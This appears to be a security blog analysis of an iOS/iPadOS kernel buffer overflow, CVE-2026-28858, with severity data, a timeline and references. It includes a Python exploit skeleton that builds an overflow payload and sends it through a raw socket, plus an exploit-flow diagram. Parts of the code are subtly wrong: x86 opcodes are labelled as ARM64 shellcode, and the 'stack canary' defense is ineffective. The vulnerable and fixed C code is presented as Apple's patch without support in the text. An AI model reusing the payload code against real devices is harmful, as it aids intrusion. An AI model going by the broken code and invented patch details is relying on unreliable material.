
Technical analysis of CVE-2026-28858, a critical buffer overflow in Apple iOS/iPadOS kernel, including exploit flow, mitigation, and defensive coding examples.
╔══════════════════════════════════════════════════════════════╗
║ SEVERITY: CRITICAL │ CVSS: 9.8 │ CWE-120 │ REMOTE ║
╚══════════════════════════════════════════════════════════════╝
A remote user can cause unexpected system termination or kernel memory corruption on iOS/iPadOS without user interaction or privileges.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-28858 |
| EUVD | EUVD-2026-15131 |
| Published | March 25, 2026 |
| Last updated | March 26, 2026 |
| CVSS v3.1 | 9.8 / 10 — CRITICAL |
| EPSS | 0.05% |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-120 — Buffer copy without checking size of input |
| Status | Analyzed — Patch available |
Buffer Overflow in Apple iOS and iPadOS caused by insufficient bounds checking in kernel input processing.
Real impact:
There is no public exploit for CVE-2026-28858. The following representation is conceptual, based on CWE-120 and the documented attack vector.
# Conceptual representation of the overflow
import socket
# 1. Fill of the allocated buffer (~512 bytes typical in kernel handlers)
buffer_fill = b"A" * 512
# 2. Overwritten return address — points to attacker-controlled zone
# In real iOS/iPadOS: requires ASLR bypass + PAC (Pointer Authentication Codes)
return_address = b"\x41\x42\x43\x44"
# 3. Shellcode: NOP sled + malicious instructions for ARM64
shellcode = b"\x90" * 16 + b"\xeb\x12..." # NOP sled + payload
payload = buffer_fill + return_address + shellcode
# Remote delivery without user interaction
# Example: network packet with manipulated length field
import struct
def craft_malicious_packet(target_ip: str, target_port: int):
"""
Creates a packet with malformed metadata that the iOS kernel
processes in the background (without user UI).
E.g., TLS certificate, image metadata, network protocol field.
"""
# Legitimate protocol header
header = struct.pack(">HH", 0x0001, 0xFFFF) # type=1, length=OVERFLOW
# Payload that exceeds the kernel buffer
malicious_data = header + payload
with socket.socket(socket.AF_INET, socket.SOCK_RAW) as s:
s.sendto(malicious_data, (target_ip, target_port))
[Network/WiFi/BT] → Malformed packet
↓
[iOS background process] → Reads "length" field = 0xFFFF
↓
[memcpy(kernel_buffer, data, 0xFFFF)] → WITHOUT BOUNDS CHECKING
↓
[Overflow: shellcode written over kernel stack/heap]
↓
[Processor redirected to attacker's return_address]
↓
[Execution with ring 0 / kernel privileges]
/* ❌ VULNERABLE CODE (before the patch) */
void process_input(char *user_data, size_t length) {
char kernel_buffer[512];
memcpy(kernel_buffer, user_data, length); // WITHOUT checking
}
/* ✅ FIXED CODE (iOS/iPadOS 26.4) */
void process_input(char *user_data, size_t length) {
char kernel_buffer[512];
// Bounds check — fix applied by Apple
if (length > sizeof(kernel_buffer)) {
kernel_log("CVE-2026-28858: input truncated [%zu > 512]", length);
return; // Abort before copying
}
memcpy(kernel_buffer, user_data, length);
}
/* Defense-in-depth mechanism: Stack Canary */
#include <string.h>
#define CANARY_VALUE 0xDEADBEEFCAFEBABE
void process_input_secure(char *user_data, size_t length) {
uint64_t canary = CANARY_VALUE;
char secure_buffer[512];
if (length > sizeof(secure_buffer)) {
log_security_event("Overflow attempt blocked");
return;
}
memcpy(secure_buffer, user_data, length);
// Verify canary integrity post-copy
if (canary != CANARY_VALUE) {
panic("Stack smashing detected — CVE-2026-28858");
}
}
Immediate action required:
Update to iOS 26.4 / iPadOS 26.4 or later
23 Mar 2026 → Initial publication (EUVD)
24 Mar 2026 → Apple Advisory #126792 published
24 Mar 2026 → First mention detected (Feedly)
24 Mar 2026 → CVSS estimation by automated analysis
25 Mar 2026 → NVD assigns CVSS 9.8 — Critical
25 Mar 2026 → Detection added to Qualys (ID: 610773)
26 Mar 2026 → Status: Analyzed
All versions of iOS and iPadOS prior to 26.4, including:
See the full list of affected CPEs in the reference documentation.
| Source | URL |
|---|---|
| Apple Security Advisory | https://support.apple.com/en-us/126792 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-28858 |
| CWE-120 | https://cwe.mitre.org/data/definitions/120.html |
Disclaimer: The code presented is solely a conceptual representation for educational and defensive research purposes. There is no public exploit for CVE-2026-28858.
| Parameter | Value | Description |
|---|
| Attack Vector | Network | Remotely exploitable |
| Complexity | Low | No special conditions |
| Required Privileges | None | No authentication needed |
| User Interaction | None | Zero-click |
| Scope | Unchanged | Confined to the vulnerable component |
| Confidentiality | High | Full data access |
| Integrity | High | Full modification possible |
| Availability | High | System crash |